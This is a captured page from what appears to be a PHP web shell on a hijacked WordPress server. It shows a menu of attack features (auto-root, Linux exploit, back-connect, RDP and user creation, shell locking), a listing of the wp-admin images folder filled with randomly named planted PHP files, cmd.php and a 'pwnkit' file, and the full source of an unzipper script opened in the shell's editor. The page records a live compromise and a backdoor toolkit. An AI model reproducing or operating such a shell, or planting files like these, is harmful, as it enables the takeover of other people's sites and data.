Linux webm006.cluster127.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.127.20.6 | : 216.73.217.174
Cant Read [ /etc/named.conf ]
7.4.33
kvtechr
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
kvtechr /
www /
wp-admin /
images /
[ HOME SHELL ]
Name
Size
Permission
Action
.htaccess
63
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
about-header-credits-rtl.webp
39.95
KB
-rwxrwxrwx
about-header-credits.webp
40
KB
-rwxrwxrwx
about-header-default-rtl.webp
18.37
KB
-rwxrwxrwx
about-header-default.webp
19.56
KB
-rwxrwxrwx
about-header-freedoms-rtl.webp
42.79
KB
-rwxrwxrwx
about-header-freedoms.webp
39.93
KB
-rwxrwxrwx
about-header-get-involved-rtl....
15.06
KB
-rwxrwxrwx
about-header-get-involved.webp
17.74
KB
-rwxrwxrwx
about-header-privacy-rtl.webp
13.29
KB
-rwxrwxrwx
about-header-privacy.webp
10.67
KB
-rwxrwxrwx
about-release-badge.svg
4.14
KB
-rwxrwxrwx
about-release-logo.svg
3.92
KB
-rwxrwxrwx
about-texture.png
100.38
KB
-rwxrwxrwx
aboutc.php
24.48
KB
-rwxrwxrwx
abrnuliw.php
18.47
KB
-rw-r--r--
align-center-2x.png
147
B
-rwxrwxrwx
align-center.png
546
B
-rwxrwxrwx
align-left-2x.png
143
B
-rwxrwxrwx
align-left.png
554
B
-rwxrwxrwx
align-none-2x.png
121
B
-rwxrwxrwx
align-none.png
417
B
-rwxrwxrwx
align-right-2x.png
142
B
-rwxrwxrwx
align-right.png
509
B
-rwxrwxrwx
arrows-2x.png
863
B
-rwxrwxrwx
arrows.png
243
B
-rwxrwxrwx
bal.php
53.21
KB
-rwxrwxrwx
bgpapgvt.php
14.76
KB
-rw-r--r--
browser-rtl.png
39.23
KB
-rwxrwxrwx
browser.png
39.67
KB
-rwxrwxrwx
bubble_bg-2x.gif
424
B
-rwxrwxrwx
bubble_bg.gif
398
B
-rwxrwxrwx
bygyzwpx.php
14.76
KB
-rwxrwxrwx
cmd.php
35.08
KB
-rwxrwxrwx
comment-grey-bubble-2x.png
258
B
-rwxrwxrwx
comment-grey-bubble.png
114
B
-rwxrwxrwx
contribute-code.svg
9.25
KB
-rwxrwxrwx
contribute-main.svg
17.46
KB
-rwxrwxrwx
contribute-no-code.svg
8.74
KB
-rwxrwxrwx
dashboard-background.svg
3.27
KB
-rwxrwxrwx
date-button-2x.gif
996
B
-rwxrwxrwx
date-button.gif
400
B
-rwxrwxrwx
dwzjotxp.php
14.76
KB
-rw-r--r--
edit.php
6.34
KB
-rw-r--r--
ekpumuiw.php
18.47
KB
-rw-r--r--
ex.php
6.34
KB
-rwxrwxrwx
features.php
9.84
KB
-rwxrwxrwx
freedom-1.svg
1.41
KB
-rwxrwxrwx
freedom-2.svg
7.93
KB
-rwxrwxrwx
freedom-3.svg
1.78
KB
-rwxrwxrwx
freedom-4.svg
3.15
KB
-rwxrwxrwx
function.php
4.98
KB
-rwxrwxrwx
generic.png
719
B
-rwxrwxrwx
goods.php
173.77
KB
-rwxrwxrwx
grzioyom.php
14.76
KB
-rwxrwxrwx
icons32-2x.png
21.26
KB
-rwxrwxrwx
icons32-vs-2x.png
20.89
KB
-rwxrwxrwx
icons32-vs.png
7.82
KB
-rwxrwxrwx
icons32.png
7.83
KB
-rwxrwxrwx
idvxdsbw.php
18.52
KB
-rw-r--r--
imgedit-icons-2x.png
7.48
KB
-rwxrwxrwx
imgedit-icons.png
3.96
KB
-rwxrwxrwx
index.php
21.08
KB
-rwxrwxrwx
inputs.php
6.34
KB
-rwxrwxrwx
itemap.php
124
B
-rwxrwxrwx
ixlyrbyx.php
14.76
KB
-rw-r--r--
jroozczp.php
0
B
-rwxrwxrwx
list-2x.png
1.49
KB
-rwxrwxrwx
list.png
1003
B
-rwxrwxrwx
loading.gif
1.34
KB
-rwxrwxrwx
ltydtshk.php
14.76
KB
-rw-r--r--
marker.png
360
B
-rwxrwxrwx
mask.png
1.95
KB
-rwxrwxrwx
media-button-2x.png
850
B
-rwxrwxrwx
media-button-image.gif
200
B
-rwxrwxrwx
media-button-music-2x.gif
12.26
KB
-rwxrwxrwx
media-button-music.gif
206
B
-rwxrwxrwx
media-button-other.gif
248
B
-rwxrwxrwx
media-button-video.gif
133
B
-rwxrwxrwx
media-button.png
323
B
-rwxrwxrwx
menu-2x.png
12.38
KB
-rwxrwxrwx
menu-vs-2x.png
12.16
KB
-rwxrwxrwx
menu-vs.png
4.97
KB
-rwxrwxrwx
menu.png
4.92
KB
-rwxrwxrwx
mfgvzvek.php
19.44
KB
-rw-r--r--
min.php
6.83
KB
-r--r--r--
networks.php
6.34
KB
-rw-r--r--
new.php
14.06
KB
-rw-r--r--
no.png
755
B
-rwxrwxrwx
ok.php
6.83
KB
-rw-r--r--
pages.php
6.34
KB
-rwxrwxrwx
post-formats-vs.png
2.39
KB
-rwxrwxrwx
post-formats.png
2.11
KB
-rwxrwxrwx
post-formats32-vs.png
4.99
KB
-rwxrwxrwx
post-formats32.png
5.02
KB
-rwxrwxrwx
privacy.svg
922
B
-rwxrwxrwx
pwnkit
0
B
-rwxr-xr-x
radio.php
6.34
KB
-rwxrwxrwx
resize-2x.gif
151
B
-rwxrwxrwx
resize-rtl-2x.gif
150
B
-rwxrwxrwx
resize-rtl.gif
70
B
-rwxrwxrwx
resize.gif
64
B
-rwxrwxrwx
sdihixbc.php
14.76
KB
-rw-r--r--
se.png
120
B
-rwxrwxrwx
searchindex.php
197.54
KB
-rwxrwxrwx
shcbuyuc.php
18.47
KB
-rw-r--r--
sjmrftsh.php
18.47
KB
-rw-r--r--
sort-2x.gif
97
B
-rwxrwxrwx
sort.gif
55
B
-rwxrwxrwx
spinner-2x.gif
7.36
KB
-rwxrwxrwx
spinner.gif
3.57
KB
-rwxrwxrwx
stars-2x.png
1.23
KB
-rwxrwxrwx
stars.png
924
B
-rwxrwxrwx
tmtykzrl.php
14.76
KB
-rw-r--r--
unzipper.php
11.99
KB
-rwxrwxrwx
update-core.php
6.34
KB
-rw-r--r--
users.php
6.34
KB
-rw-r--r--
uwqsptni.php
14.76
KB
-rwxrwxrwx
w-logo-blue.png
3.04
KB
-rwxrwxrwx
w-logo-gray.png
4.39
KB
-rwxrwxrwx
w-logo-white.png
5.27
KB
-rwxrwxrwx
wheel.png
5.91
KB
-rwxrwxrwx
wordpress-logo-gray.svg
1.49
KB
-rwxrwxrwx
wordpress-logo-white.svg
1.6
KB
-rwxrwxrwx
wordpress-logo.png
2.42
KB
-rwxrwxrwx
wordpress-logo.svg
1.49
KB
-rwxrwxrwx
wp-login.php
5.96
KB
-rwxrwxrwx
wpspin_light-2x.gif
8.67
KB
-rwxrwxrwx
wpspin_light.gif
2
KB
-rwxrwxrwx
xit-2x.gif
825
B
-rwxrwxrwx
xit.gif
181
B
-rwxrwxrwx
xmlrpc.php
6.34
KB
-rw-r--r--
yes.png
539
B
-rwxrwxrwx
zqtjfiji.php
14.76
KB
-rw-r--r--
zrcyevrj.php
19.44
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : unzipper.php
<?php /** * The Unzipper extracts .zip or .rar archives and .gz files on webservers. * It's handy if you do not have shell access. E.g. if you want to upload a lot * of files (php framework or image collection) as an archive to save time. * As of version 0.1.0 it also supports creating archives. * * @author Andreas Tasch, at[tec], attec.at * @license GNU GPL v3 * @package attec.toolbox * @version 0.1.1 */ define('VERSION', '0.1.1'); $timestart = microtime(TRUE); $GLOBALS['status'] = array(); $unzipper = new Unzipper; if (isset($_POST['dounzip'])) { // Check if an archive was selected for unzipping. $archive = isset($_POST['zipfile']) ? strip_tags($_POST['zipfile']) : ''; $destination = isset($_POST['extpath']) ? strip_tags($_POST['extpath']) : ''; $unzipper->prepareExtraction($archive, $destination); } if (isset($_POST['dozip'])) { $zippath = !empty($_POST['zippath']) ? strip_tags($_POST['zippath']) : '.'; // Resulting zipfile e.g. zipper--2016-07-23--11-55.zip. $zipfile = 'zipper-' . date("Y-m-d--H-i") . '.zip'; Zipper::zipDir($zippath, $zipfile); } $timeend = microtime(TRUE); $time = round($timeend - $timestart, 4); /** * Class Unzipper */ class Unzipper { public $localdir = '.'; public $zipfiles = array(); public function __construct() { // Read directory and pick .zip, .rar and .gz files. if ($dh = opendir($this->localdir)) { while (($file = readdir($dh)) !== FALSE) { if (pathinfo($file, PATHINFO_EXTENSION) === 'zip' || pathinfo($file, PATHINFO_EXTENSION) === 'gz' || pathinfo($file, PATHINFO_EXTENSION) === 'rar' ) { $this->zipfiles[] = $file; } } closedir($dh); if (!empty($this->zipfiles)) { $GLOBALS['status'] = array('info' => '.zip or .gz or .rar files found, ready for extraction'); } else { $GLOBALS['status'] = array('info' => 'No .zip or .gz or rar files found. So only zipping functionality available.'); } } } /** * Prepare and check zipfile for extraction. * * @param string $archive * The archive name including file extension. E.g. my_archive.zip. * @param string $destination * The relative destination path where to extract files. */ public function prepareExtraction($archive, $destination = '') { // Determine paths. if (empty($destination)) { $extpath = $this->localdir; } else { $extpath = $this->localdir . '/' . $destination; // Todo: move this to extraction function. if (!is_dir($extpath)) { mkdir($extpath); } } // Only local existing archives are allowed to be extracted. if (in_array($archive, $this->zipfiles)) { self::extract($archive, $extpath); } } /** * Checks file extension and calls suitable extractor functions. * * @param string $archive * The archive name including file extension. E.g. my_archive.zip. * @param string $destination * The relative destination path where to extract files. */ public static function extract($archive, $destination) { $ext = pathinfo($archive, PATHINFO_EXTENSION); switch ($ext) { case 'zip': self::extractZipArchive($archive, $destination); break; case 'gz': self::extractGzipFile($archive, $destination); break; case 'rar': self::extractRarArchive($archive, $destination); break; } } /** * Decompress/extract a zip archive using ZipArchive. * * @param $archive * @param $destination */ public static function extractZipArchive($archive, $destination) { // Check if webserver supports unzipping. if (!class_exists('ZipArchive')) { $GLOBALS['status'] = array('error' => 'Error: Your PHP version does not support unzip functionality.'); return; } $zip = new ZipArchive; // Check if archive is readable. if ($zip->open($archive) === TRUE) { // Check if destination is writable if (is_writeable($destination . '/')) { $zip->extractTo($destination); $zip->close(); $GLOBALS['status'] = array('success' => 'Files unzipped successfully'); } else { $GLOBALS['status'] = array('error' => 'Error: Directory not writeable by webserver.'); } } else { $GLOBALS['status'] = array('error' => 'Error: Cannot read .zip archive.'); } } /** * Decompress a .gz File. * * @param string $archive * The archive name including file extension. E.g. my_archive.zip. * @param string $destination * The relative destination path where to extract files. */ public static function extractGzipFile($archive, $destination) { // Check if zlib is enabled if (!function_exists('gzopen')) { $GLOBALS['status'] = array('error' => 'Error: Your PHP has no zlib support enabled.'); return; } $filename = pathinfo($archive, PATHINFO_FILENAME); $gzipped = gzopen($archive, "rb"); $file = fopen($destination . '/' . $filename, "w"); while ($string = gzread($gzipped, 4096)) { fwrite($file, $string, strlen($string)); } gzclose($gzipped); fclose($file); // Check if file was extracted. if (file_exists($destination . '/' . $filename)) { $GLOBALS['status'] = array('success' => 'File unzipped successfully.'); // If we had a tar.gz file, let's extract that tar file. if (pathinfo($destination . '/' . $filename, PATHINFO_EXTENSION) == 'tar') { $phar = new PharData($destination . '/' . $filename); if ($phar->extractTo($destination)) { $GLOBALS['status'] = array('success' => 'Extracted tar.gz archive successfully.'); // Delete .tar. unlink($destination . '/' . $filename); } } } else { $GLOBALS['status'] = array('error' => 'Error unzipping file.'); } } /** * Decompress/extract a Rar archive using RarArchive. * * @param string $archive * The archive name including file extension. E.g. my_archive.zip. * @param string $destination * The relative destination path where to extract files. */ public static function extractRarArchive($archive, $destination) { // Check if webserver supports unzipping. if (!class_exists('RarArchive')) { $GLOBALS['status'] = array('error' => 'Error: Your PHP version does not support .rar archive functionality. <a class="info" href="http://php.net/manual/en/rar.installation.php" target="_blank">How to install RarArchive</a>'); return; } // Check if archive is readable. if ($rar = RarArchive::open($archive)) { // Check if destination is writable if (is_writeable($destination . '/')) { $entries = $rar->getEntries(); foreach ($entries as $entry) { $entry->extract($destination); } $rar->close(); $GLOBALS['status'] = array('success' => 'Files extracted successfully.'); } else { $GLOBALS['status'] = array('error' => 'Error: Directory not writeable by webserver.'); } } else { $GLOBALS['status'] = array('error' => 'Error: Cannot read .rar archive.'); } } } /** * Class Zipper * * Copied and slightly modified from http://at2.php.net/manual/en/class.ziparchive.php#110719 * @author umbalaconmeogia */ class Zipper { /** * Add files and sub-directories in a folder to zip file. * * @param string $folder * Path to folder that should be zipped. * * @param ZipArchive $zipFile * Zipfile where files end up. * * @param int $exclusiveLength * Number of text to be exclusived from the file path. */ private static function folderToZip($folder, &$zipFile, $exclusiveLength) { $handle = opendir($folder); while (FALSE !== $f = readdir($handle)) { // Check for local/parent path or zipping file itself and skip. if ($f != '.' && $f != '..' && $f != basename(__FILE__)) { $filePath = "$folder/$f"; // Remove prefix from file path before add to zip. $localPath = substr($filePath, $exclusiveLength); if (is_file($filePath)) { $zipFile->addFile($filePath, $localPath); } elseif (is_dir($filePath)) { // Add sub-directory. $zipFile->addEmptyDir($localPath); self::folderToZip($filePath, $zipFile, $exclusiveLength); } } } closedir($handle); } /** * Zip a folder (including itself). * * Usage: * Zipper::zipDir('path/to/sourceDir', 'path/to/out.zip'); * * @param string $sourcePath * Relative path of directory to be zipped. * * @param string $outZipPath * Relative path of the resulting output zip file. */ public static function zipDir($sourcePath, $outZipPath) { $pathInfo = pathinfo($sourcePath); $parentPath = $pathInfo['dirname']; $dirName = $pathInfo['basename']; $z = new ZipArchive(); $z->open($outZipPath, ZipArchive::CREATE); $z->addEmptyDir($dirName); if ($sourcePath == $dirName) { self::folderToZip($sourcePath, $z, 0); } else { self::folderToZip($sourcePath, $z, strlen("$parentPath/")); } $z->close(); $GLOBALS['status'] = array('success' => 'Successfully created archive ' . $outZipPath); } } ?> <!DOCTYPE html> <html> <head> <title>File Unzipper + Zipper</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <style type="text/css"> <!-- body { font-family: Arial, sans-serif; line-height: 150%; } label { display: block; margin-top: 20px; } fieldset { border: 0; background-color: #EEE; margin: 10px 0 10px 0; } .select { padding: 5px; font-size: 110%; } .status { margin: 0; margin-bottom: 20px; padding: 10px; font-size: 80%; background: #EEE; border: 1px dotted #DDD; } .status--ERROR { background-color: red; color: white; font-size: 120%; } .status--SUCCESS { background-color: green; font-weight: bold; color: white; font-size: 120% } .small { font-size: 0.7rem; font-weight: normal; } .version { font-size: 80%; } .form-field { border: 1px solid #AAA; padding: 8px; width: 280px; } .info { margin-top: 0; font-size: 80%; color: #777; } .submit { background-color: #378de5; border: 0; color: #ffffff; font-size: 15px; padding: 10px 24px; margin: 20px 0 20px 0; text-decoration: none; } .submit:hover { background-color: #2c6db2; cursor: pointer; } --> </style> </head> <body> <p class="status status--<?php echo strtoupper(key($GLOBALS['status'])); ?>"> Status: <?php echo reset($GLOBALS['status']); ?><br/> <span class="small">Processing Time: <?php echo $time; ?> seconds</span> </p> <form action="" method="POST"> <fieldset> <h1>Archive Unzipper</h1> <label for="zipfile">Select .zip or .rar archive or .gz file you want to extract:</label> <select name="zipfile" size="1" class="select"> <?php foreach ($unzipper->zipfiles as $zip) { echo "<option>$zip</option>"; } ?> </select> <label for="extpath">Extraction path (optional):</label> <input type="text" name="extpath" class="form-field" /> <p class="info">Enter extraction path without leading or trailing slashes (e.g. "mypath"). If left empty current directory will be used.</p> <input type="submit" name="dounzip" class="submit" value="Unzip Archive"/> </fieldset> <fieldset> <h1>Archive Zipper</h1> <label for="zippath">Path that should be zipped (optional):</label> <input type="text" name="zippath" class="form-field" /> <p class="info">Enter path to be zipped without leading or trailing slashes (e.g. "zippath"). If left empty current directory will be used.</p> <input type="submit" name="dozip" class="submit" value="Zip Archive"/> </fieldset> </form> <p class="version">Unzipper version: <?php echo VERSION; ?></p> </body> </html>
Close